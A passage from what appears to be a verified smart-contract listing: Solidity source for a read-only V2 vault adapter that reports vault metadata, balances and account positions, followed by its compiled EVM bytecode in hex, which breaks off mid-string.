function assetsAddresses() public view returns (address[] memory) {
return addressesGenerator.assetsAddresses();
}
/**
* Fetch registry address from addresses generator
*/
function registry() public view returns (address) {
return addressesGenerator.registry();
}
/**
* Allow storage slots to be manually updated
*/
function updateSlot(bytes32 slot, bytes32 value) external onlyOwner {
assembly {
sstore(slot, value)
}
}
/**
* Configure adapter
*/
constructor(
address _oracleAddress,
address _helperAddress,
address _addressesGeneratorAddress,
address _fallbackContractAddress
) {
require(_oracleAddress != address(0), "Missing oracle address");
oracle = IOracle(_oracleAddress);
helper = IHelper(_helperAddress);
fallbackContractAddress = _fallbackContractAddress;
addressesGenerator = IAddressesGenerator(_addressesGeneratorAddress);
}
/*******************************************************
* Common code shared by v1 vaults, v2 vaults and earn
*******************************************************/
/**
* Fetch asset positions of an account given an array of assets. This method can be used for off-chain pagination.
*/
function assetsPositionsOf(
address accountAddress,
address[] memory _assetsAddresses
) public view returns (Position[] memory) {
uint256 numberOfAssets = _assetsAddresses.length;
Position[] memory positions = new Position[](numberOfAssets);
uint256 currentPositionIdx;
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
Position memory position =
assetPositionsOf(accountAddress, assetAddress)[0];
if (position.balance > 0) {
positions[currentPositionIdx] = position;
currentPositionIdx++;
}
}
bytes memory encodedData = abi.encode(positions);
assembly {
// Manually truncate positions
mstore(add(encodedData, 0x40), currentPositionIdx)
}
positions = abi.decode(encodedData, (Position[]));
return positions;
}
/**
* Fetch asset positions for an account for all assets
*/
function assetsPositionsOf(address accountAddress)
external
view
returns (Position[] memory)
{
address[] memory _assetsAddresses = assetsAddresses();
return assetsPositionsOf(accountAddress, _assetsAddresses);
}
/*******************************************************
* V2 Adapter (unique logic)
*******************************************************/
/**
* Return information about the adapter
*/
function adapterInfo() public view returns (AdapterInfo memory) {
return
AdapterInfo({
id: address(this),
typeId: "VAULT_V2",
categoryId: "VAULT"
});
}
/**
* Metadata specific to this asset type
*/
struct AssetMetadata {
string symbol; // Vault symbol
uint256 pricePerShare; // Vault pricePerShare
bool migrationAvailable; // True if a migration is available for this vault
address latestVaultAddress; // Latest vault migration address
uint256 depositLimit; // Deposit limit of asset
bool emergencyShutdown; // Vault is in emergency shutdown mode
}
/**
* Metadata specific to an asset type scoped to a user.
* Not used in this adapter.
*/
struct AssetUserMetadata {
address assetId;
}
/**
* Fetch asset metadata scoped to a user
*/
function assetUserMetadata(address assetAddress)
public
view
returns (AssetUserMetadata memory)
{}
/**
* Fetch the underlying token address of an asset
*/
function underlyingTokenAddress(address assetAddress)
public
view
returns (address)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = vault.token();
return tokenAddress;
}
/**
* Fetch static information about an asset
*/
function assetStatic(address assetAddress)
public
view
returns (AssetStatic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = underlyingTokenAddress(assetAddress);
return
AssetStatic({
id: assetAddress,
typeId: adapterInfo().typeId,
name: vault.name(),
version: vault.apiVersion(),
token: tokenMetadata(tokenAddress)
});
}
/**
* Fetch dynamic information about an asset
*/
function assetDynamic(address assetAddress)
public
view
returns (AssetDynamic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 totalSupply = vault.totalSupply();
uint256 pricePerShare = 0;
bool vaultHasShares = totalSupply != 0;
if (vaultHasShares) {
pricePerShare = vault.pricePerShare();
}
address latestVaultAddress =
IV2Registry(registry()).latestVault(tokenAddress);
bool migrationAvailable = latestVaultAddress != assetAddress;
AssetMetadata memory metadata =
AssetMetadata({
symbol: vault.symbol(),
pricePerShare: pricePerShare,
migrationAvailable: migrationAvailable,
latestVaultAddress: latestVaultAddress,
depositLimit: vault.depositLimit(),
emergencyShutdown: vault.emergencyShutdown()
});
uint256 balance = assetBalance(assetAddress);
TokenAmount memory underlyingTokenBalance =
tokenAmount(balance, tokenAddress);
return
AssetDynamic({
id: assetAddress,
typeId: adapterInfo().typeId,
tokenId: tokenAddress,
underlyingTokenBalance: underlyingTokenBalance,
metadata: metadata
});
}
/**
* Fetch asset positions of an account given an asset address
*/
function assetPositionsOf(address accountAddress, address assetAddress)
public
view
returns (Position[] memory)
{
IV2Vault _asset = IV2Vault(assetAddress);
uint8 assetDecimals = _asset.decimals();
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 balance = _asset.balanceOf(accountAddress);
uint256 _underlyingTokenBalance =
(balance * _asset.pricePerShare()) / 10**assetDecimals;
Position[] memory positions = new Position[](1);
positions[0] = Position({
assetId: assetAddress,
tokenId: tokenAddress,
typeId: "DEPOSIT",
balance: balance,
underlyingTokenBalance: tokenAmount(
_underlyingTokenBalance,
tokenAddress
),
tokenAllowances: tokenAllowances(accountAddress, assetAddress),
assetAllowances: assetAllowances(accountAddress, assetAddress)
});
return positions;
}
/**
* Fetch asset balance in underlying tokens
*/
function assetBalance(address assetAddress) public view returns (uint256) {
IV2Vault vault = IV2Vault(assetAddress);
return vault.totalAssets();
}
/**
* Returns unique list of tokens associated with this adapter
*/
function tokens() public view returns (Token[] memory) {
IV2Registry _registry = IV2Registry(registry());
uint256 numTokens = _registry.numTokens();
Token[] memory _tokens = new Token[](numTokens);
for (uint256 tokenIdx = 0; tokenIdx < numTokens; tokenIdx++) {
address tokenAddress = _registry.tokens(tokenIdx);
Token memory _token = tokenMetadata(tokenAddress);
_tokens[tokenIdx] = _token;
}
return _tokens;
}
/**
* Fallback proxy. Primary use case is to give registry adapters access to TVL adapter logic
*/
fallback() external {
assembly {
let addr := sload(fallbackContractAddress.slot)
calldatacopy(0, 0, calldatasize())
let success := staticcall(gas(), addr, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if success {
return(0, returndatasize())
}
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101775760003560e01c8063a31091c7116100de578063cd88e55811610097578063d68bda7c11610071578063d68bda7c146104b3578063e23121b1146104e3578063e258f16a14610513578063f50477a21461054357610178565b8063cd88e55814610423578063d33c39d214610453578063d36ec1cf1461048357610178565b8063a31091c714610339578063a4e815b214610357578063a704abca14610387578063a96e8303146103a5578063c10e0eeb146103d5578063c6d0dc8b146103f357610178565b80637dc0d1d0116101305780637dc0d1d01461027557806387920845146102935780638da5cb5b146102c357806391ea83e8146102e15780639adbba59146102fd5780639d63848a1461031b57610178565b80633d90e2c81461019d57806357d02836146101cd57806363b0e66a146101eb57806369706fed1461020957806372d5a97b146102395780637b1039991461025757610178565b5b6004543660008037600080366000845afa3d6000803e8015610199573d6000f35b5050005b6101b760048036038101906101b29190612a7a565b610561565b6040516101c49190613973565b60405180910390f35b6101d56106d8565b6040516101e29190613836565b60405180910390f35b6101f36106f5565b60405161020091906138d9565b60405180910390f35b610223600480360381019061021e9190612a7a565b61071b565b6040516102309190613951565b60405180910390f35b610241610b60565b60405161024e9190613747565b60405180910390f35b61025f610b86565b60405161026c9190613747565b60405180910390f35b61027d610c2d565b60405161028a91906138f4565b60405180910390f35b6102ad60048036038101906102a89190612b5c565b610c53565b6040516102ba9190613836565b60405180910390f35b6102cb610d9b565b6040516102d89190613747565b60405180910390f35b6102fb60048036038101906102f69190612cca565b610dbf565b005b610305610e54565b6040516103129190613858565b60405180910390f35b610323610e71565b604051610330919061389c565b60405180910390f35b610341611088565b60405161034e91906137d0565b60405180910390f35b610371600480360381019061036c9190612a7a565b611134565b60405161037e9190613995565b60405180910390f35b61038f611141565b60405161039c91906138be565b60405180910390f35b6103bf60048036038101906103ba9190612a7a565b611167565b6040516103cc9190613747565b60405180910390f35b6103dd6111f9565b6040516103ea919061392f565b60405180910390f35b61040d60048036038101906104089190612acc565b6112a1565b60405161041a9190613814565b60405180910390f35b61043d60048036038101906104389190612a7a565b611525565b60405161044a91906139b0565b60405180910390f35b61046d60048036038101906104689190612b08565b6115b1565b60405161047a919061387a565b60405180910390f35b61049d60048036038101906104989190612b5c565b61179f565b6040516104aa9190613858565b60405180910390f35b6104cd60048036038101906104c89190612acc565b6118e7565b6040516104da9190613814565b60405180910390f35b6104fd60048036038101906104f89190612a7a565b611bbf565b60405161050a919061387a565b60405180910390f35b61052d60048036038101906105289190612acc565b611bdf565b60405161053a919061387a565b60405180910390f35b61054b611f28565b60405161055891906139b0565b60405180910390f35b610569612270565b6000829050600061057984611167565b90506040518060a001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020016105aa6111f9565b6020015181526020018373ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156105f957600080fd5b505afa15801561060d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106369190612d06565b81526020018373ffffffffffffffffffffffffffffffffffffffff1663258294106040518163ffffffff1660e01b815260040160006040518083038186803b15801561068157600080fd5b505afa158015610695573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106be9190612d06565b81526020016106cc83611fcf565b81525092505050919050565b606060006106e4611088565b90506106ef81610c53565b91505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107236122bb565b6000829050600061073384611167565b905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b59190612d47565b90506000808083141590508015610847578473ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b15801561080c57600080fd5b505afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108449190612d47565b91505b6000610851610b86565b73ffffffffffffffffffffffffffffffffffffffff1663e177dc70866040518263ffffffff1660e01b81526004016108899190613747565b60206040518083038186803b1580156108a157600080fd5b505afa1580156108b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d99190612aa3565b905060008873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415905060006040518060c001604052808973ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061099f9190612d06565b815260200186815260200183151581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1663ecf708586040518163ffffffff1660e01b815260040160206040518083038186803b158015610a1457600080fd5b505afa158015610a28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4c9190612d47565b81526020018973ffffffffffffffffffffffffffffffffffffffff16633403c2fc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acf9190612ca1565b151581525090506000610ae18b611525565b90506000610aef828a61219f565b90506040518060a001604052808d73ffffffffffffffffffffffffffffffffffffffff168152602001610b206111f9565b6020015181526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001828152602001848152509a5050505050505050505050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637b1039996040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf057600080fd5b505afa158015610c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c289190612aa3565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060008251905060008167ffffffffffffffff811115610c9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610cd657816020015b610cc36122bb565b815260200190600190039081610cbb5790505b50905060005b82811015610d90576000858281518110610d1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000610d348261071b565b905080848481518110610d70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525050508080610d8890613fc9565b915050610cdc565b508092505050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e449061390f565b60405180910390fd5b8082555050565b60606000610e60611088565b9050610e6b8161179f565b91505090565b60606000610e7d610b86565b905060008173ffffffffffffffffffffffffffffffffffffffff16638e499bcf6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec757600080fd5b505afa158015610edb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eff9190612d47565b905060008167ffffffffffffffff811115610f43577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610f7c57816020015b610f69612322565b815260200190600190039081610f615790505b50905060005b8281101561107e5760008473ffffffffffffffffffffffffffffffffffffffff16634f64b2be836040518263ffffffff1660e01b8152600401610fc591906139b0565b60206040518083038186803b158015610fdd57600080fd5b505afa158015610ff1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110159190612aa3565b9050600061102282611fcf565b90508084848151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101819052505050808061107690613fc9565b915050610f82565b5080935050505090565b6060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a31091c76040518163ffffffff1660e01b815260040160006040518083038186803b1580156110f257600080fd5b505afa158015611106573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061112f9190612b9d565b905090565b61113c612363565b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082905060008173ffffffffffffffffffffffffffffffffffffffff1663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111b557600080fd5b505afa1580156111c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ed9190612aa3565b90508092505050919050565b61120161238c565b60405180606001604052803073ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600881526020017f5641554c545f563200000000000000000000000000000000000000000000000081525081526020016040518060400160405280600581526020017f5641554c54000000000000000000000000000000000000000000000000000000815250815250905090565b60606000600167ffffffffffffffff8111156112e6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156113145781602001602082028036833780820191505090505b5090508281600081518110611352577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de8684600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf5f86bd6040518163ffffffff1660e01b815260040160006040518083038186803b15801561143657600080fd5b505afa15801561144a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906114739190612b9d565b6040518463ffffffff1660e01b815260040161149193929190613762565b60006040518083038186803b1580156114a957600080fd5b505afa1580156114bd573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906114e69190612bde565b6040516020016114f691906137f2565b60405160208183030381529060405290508080602001905181019061151b9190612c1f565b9250505092915050565b6000808290508073ffffffffffffffffffffffffffffffffffffffff166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561157157600080fd5b505afa158015611585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a99190612d47565b915050919050565b606060008251905060008167ffffffffffffffff8111156115fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561163457816020015b6116216123c3565b8152602001906001900390816116195790505b509050600080600090505b83811015611751576000868281518110611682577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006116988983611bdf565b6000815181106116d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060008160600151111561173c5780858581518110611722577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250838061173890613fc9565b9450505b5050808061174990613fc9565b91505061163f565b50600082604051602001611765919061387a565b6040516020818303038152906040529050816040820152808060200190518101906117909190612c60565b92508294505050505092915050565b606060008251905060008167ffffffffffffffff8111156117e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561182257816020015b61180f612270565b8152602001906001900390816118075790505b50905060005b828110156118dc57600085828151811061186b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600061188082610561565b9050808484815181106118bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806118d490613fc9565b915050611828565b508092505050919050565b606060006118f483611167565b90506000600167ffffffffffffffff811115611939577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119675781602001602082028036833780820191505090505b5090506000600167ffffffffffffffff8111156119ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119db5781602001602082028036833780820191505090505b5090508282600081518110611a19577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508481600081518110611a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de8885856040518463ffffffff1660e01b8152600401611b2993929190613762565b60006040518083038186803b158015611b4157600080fd5b505afa158015611b55573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611b7e9190612bde565b604051602001611b8e91906137f2565b604051602081830303815290604052905080806020019051810190611bb39190612c1f565b94505050505092915050565b60606000611bcb611088565b9050611bd783826115b1565b915050919050565b6060600082905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611c2e57600080fd5b505afa158015611c42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c669190612d70565b90506000611c7385611167565b905060008373ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401611cb09190613747565b60206040518083038186803b158015611cc857600080fd5b505afa158015611cdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d009190612d47565b9050600083600a611d119190613d22565b8573ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5757600080fd5b505afa158015611d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8f9190612d47565b83611d9a9190613e40565b611da49190613c9e565b90506000600167ffffffffffffffff811115611de9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e2257816020015b611e0f6123c3565b815260200190600190039081611e075790505b5090506040518060e001604052808973ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600781526020017f4445504f534954000000000000000000000000000000000000000000000000008152508152602001848152602001611eb3848761219f565b8152602001611ec28b8b6118e7565b8152602001611ed18b8b6112a1565b81525081600081518110611f0e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525080965050505050505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f50477a26040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612d47565b905090565b611fd7612322565b600082905060405180608001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561204957600080fd5b505afa15801561205d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906120869190612d06565b81526020018273ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156120d157600080fd5b505afa1580156120e5573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061210e9190612d06565b81526020018273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561215957600080fd5b505afa15801561216d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121919190612d70565b60ff16815250915050919050565b6121a7612432565b6040518060400160405280848152602001600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f668085876040518363ffffffff1660e01b81526004016122159291906137a7565b60206040518083038186803b15801561222d57600080fd5b505afa158015612241573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122659190612d47565b815250905092915050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160608152602001606081526020016122b5612322565b81525090565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200161230f612432565b815260200161231c61244c565b81525090565b6040518060800160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160608152602001600060ff1681525090565b6040518060200160405280600073ffffffffffffffffffffffffffffffffffffffff1681525090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001606081525090565b6040518060e00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001606081526020016000815260200161241e612432565b815260200160608152602001606081525090565b604051806040016040528060008152602001600081525090565b6040518060c001604052806060815260200160008152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000151581525090565b60006124af6124aa846139f0565b6139cb565b905080838252602082019050828560208602820111156124ce57600080fd5b60005b858110156124fe57816124e488826126e7565b8452602084019350602083019250506001810190506124d1565b5050509392505050565b600061251b612516846139f0565b6139cb565b9050808382526020820190508285602086028201111561253a57600080fd5b60005b8581101561256a578161255088826126fc565b84526020840193506020830192505060018101905061253d565b5050509392505050565b600061258761258284613a1c565b6139cb565b905080838252602082019050828560808602820111156125a657600080fd5b60005b858110156125d657816125bc8882612837565b8452602084019350608083019250506001810190506125a9565b5050509392505050565b60006125f36125ee84613a48565b6139cb565b9050808382526020820190508285606086028201111561261257600080fd5b60005b85811015612642578161262888826128ab565b845260208401935060608301925050600181019050612615565b5050509392505050565b600061265f61265a84613a74565b6139cb565b9050808382526020820190508260005b8581101561269f5781518501612685888261290b565b84526020840193506020830192505060018101905061266f565b5050509392505050565b60006126bc6126b784613aa0565b6139cb565b9050828152602081018484840111156126d457600080fd5b6126df848285613f65565b509392505050565b6000813590506126f6816140e6565b92915050565b60008151905061270b816140e6565b92915050565b600082601f83011261272257600080fd5b813561273284826020860161249c565b91505092915050565b600082601f83011261274c57600080fd5b815161275c848260208601612508565b91505092915050565b600082601f83011261277657600080fd5b8151612786848260208601612574565b91505092915050565b600082601f8301126127a057600080fd5b81516127b08482602086016125e0565b91505092915050565b600082601f8301126127ca57600080fd5b81516127da84826020860161264c565b91505092915050565b6000815190506127f2816140fd565b92915050565b60008135905061280781614114565b92915050565b600082601f83011261281e57600080fd5b815161282e8482602086016126a9565b91505092915050565b60006080828403121561284957600080fd5b61285360806139cb565b90506000612863848285016126fc565b6000830152506020612877848285016126fc565b602083015250604061288b84828501612a50565b604083015250606061289f848285016126fc565b60608301525092915050565b6000606082840312156128bd57600080fd5b6128c760606139cb565b905060006128d7848285016126fc565b60008301525060206128eb848285016126fc565b60208301525060406128ff84828501612a50565b60408301525092915050565b6000610100828403121561291e57600080fd5b61292860e06139cb565b90506000612938848285016126fc565b600083015250602061294c848285016126fc565b602083015250604082015167ffffffffffffffff81111561296c57600080fd5b6129788482850161280d565b604083015250606061298c84828501612a50565b60608301525060806129a084828501612a04565b60808301525060c082015167ffffffffffffffff8111156129c057600080fd5b6129cc8482850161278f565b60a08301525060e082015167ffffffffffffffff8111156129ec57600080fd5b6129f88482850161278f565b60c08301525092915050565b600060408284031215612a1657600080fd5b612a2060406139cb565b90506000612a3084828501612a50565b6000830152506020612a4484828501612a50565b60208301525092915050565b600081519050612a5f8161412b565b92915050565b600081519050612a7481614142565b92915050565b600060208284031215612a8c57600080fd5b6000612a9a848285016126e7565b91505092915050565b600060208284031215612ab557600080fd5b6000612ac3848285016126fc565b91505092915050565b60008060408385031215612adf57600080fd5b6000612aed858286016126e7565b9250506020612afe858286016126e7565b9150509250929050565b60008060408385031215612b1b57600080fd5b6000612b29858286016126e7565b925050602083013567ffffffffffffffff811115612b4657600080fd5b612b5285828601612711565b9150509250929050565b600060208284031215612b6e57600080fd5b600082013567ffffffffffffffff811115612b8857600080fd5b612b9484828501612711565b91505092915050565b600060208284031215612baf57600080fd5b600082015167ffffffffffffffff811115612bc957600080fd5b612bd58482850161273b565b91505092915050565b600060208284031215612bf057600080fd5b600082015167ffffffffffffffff811115612c0a57600080fd5b612c1684828501612765565b91505092915050565b600060208284031215612c3157600080fd5b600082015167ffffffffffffffff811115612c4b57600080fd5b612c578482850161278f565b91505092915050565b600060208284031215612c7257600080fd5b600082015167ffffffffffffffff811115612c8c57600080fd5b612c98848285016127b9565b91505092915050565b600060208284031215612cb357600080fd5b6000612cc1848285016127e3565b91505092915050565b60008060408385031215612cdd57600080fd5b6000612ceb858286016127f8565b9250506020612cfc858286016127f8565b9150509250929050565b600060208284031215612d1857600080fd5b600082015167ffffffffffffffff811115612d3257600080fd5b612d3e8482850161280d565b91505092915050565b600060208284031215612d5957600080fd5b6000612d6784828501612a50565b91505092915050565b600060208284031215612d8257600080fd5b6000612d9084828501612a65565b91505092915050565b6000612da58383612e31565b60208301905092915050565b6000612dbd838361328a565b60808301905092915050565b6000612dd583836132df565b60608301905092915050565b6000612ded8383613321565b905092915050565b6000612e0183836134a4565b905092915050565b6000612e1583836135d6565b905092915050565b6000612e2983836136b0565b905092915050565b612e3a81613e9a565b82525050565b612e4981613e9a565b82525050565b6000612e5a82613b41565b612e648185613bf4565b9350612e6f83613ad1565b8060005b83811015612ea0578151612e878882612d99565b9750612e9283613b99565b925050600181019050612e73565b5085935050505092915050565b6000612eb882613b4c565b612ec28185613c05565b9350612ecd83613ae1565b8060005b83811015612efe578151612ee58882612db1565b9750612ef083613ba6565b925050600181019050612ed1565b5085935050505092915050565b6000612f1682613b57565b612f208185613c16565b9350612f2b83613af1565b8060005b83811015612f5c578151612f438882612dc9565b9750612f4e83613bb3565b925050600181019050612f2f565b5085935050505092915050565b6000612f7482613b57565b612f7e8185613c27565b9350612f8983613af1565b8060005b83811015612fba578151612fa18882612dc9565b9750612fac83613bb3565b925050600181019050612f8d565b5085935050505092915050565b6000612fd282613b62565b612fdc8185613c38565b935083602082028501612fee85613b01565b8060005b8581101561302a578484038952815161300b8582612de1565b945061301683613bc0565b925060208a01995050600181019050612ff2565b50829750879550505050505092915050565b600061304782613b6d565b6130518185613c49565b93508360208202850161306385613b11565b8060005b8581101561309f57848403895281516130808582612df5565b945061308b83613bcd565b925060208a01995050600181019050613067565b50829750879550505050505092915050565b60006130bc82613b78565b6130c68185613c5a565b9350836020820285016130d885613b21565b8060005b8581101561311457848403895281516130f58582612e09565b945061310083613bda565b925060208a019950506001810190506130dc565b50829750879550505050505092915050565b600061313182613b83565b61313b8185613c6b565b93508360208202850161314d85613b31565b8060005b85811015613189578484038952815161316a8582612e1d565b945061317583613be7565b925060208a01995050600181019050613151565b50829750879550505050505092915050565b6131a481613eac565b82525050565b6131b381613ef9565b82525050565b6131c281613f1d565b82525050565b6131d181613f41565b82525050565b60006131e282613b8e565b6131ec8185613c7c565b93506131fc818560208601613f65565b6132058161409f565b840191505092915050565b600061321d602083613c8d565b9150613228826140bd565b602082019050919050565b600060608301600083015161324b6000860182612e31565b506020830151848203602086015261326382826131d7565b9150506040830151848203604086015261327d82826131d7565b9150508091505092915050565b6080820160008201516132a06000850182612e31565b5060208201516132b36020850182612e31565b5060408201516132c6604085018261371a565b5060608201516132d96060850182612e31565b50505050565b6060820160008201516132f56000850182612e31565b5060208201516133086020850182612e31565b50604082015161331b604085018261371a565b50505050565b600060c0830160008301516133396000860182612e31565b506020830151848203602086015261335182826131d7565b91505060408301516133666040860182612e31565b5060608301516133796060860182613681565b50608083015184820360a0860152613391828261341b565b9150508091505092915050565b600060c0830160008301516133b66000860182612e31565b50602083015184820360208601526133ce82826131d7565b91505060408301516133e36040860182612e31565b5060608301516133f66060860182613681565b50608083015184820360a086015261340e828261341b565b9150508091505092915050565b600060c083016000830151848203600086015261343882826131d7565b915050602083015161344d602086018261371a565b506040830151613460604086018261319b565b5060608301516134736060860182612e31565b506080830151613486608086018261371a565b5060a083015161349960a086018261319b565b508091505092915050565b600060a0830160008301516134bc6000860182612e31565b50602083015184820360208601526134d482826131d7565b915050604083015184820360408601526134ee82826131d7565b9150506060830151848203606086015261350882826131d7565b9150506080830151848203608086015261352282826136b0565b9150508091505092915050565b600060a0830160008301516135476000860182612e31565b506020830151848203602086015261355f82826131d7565b9150506040830151848203604086015261357982826131d7565b9150506060830151848203606086015261359382826131d7565b915050608083015184820360808601526135ad82826136b0565b9150508091505092915050565b6020820160008201516135d06000850182612e31565b50505050565b60006101008301600083015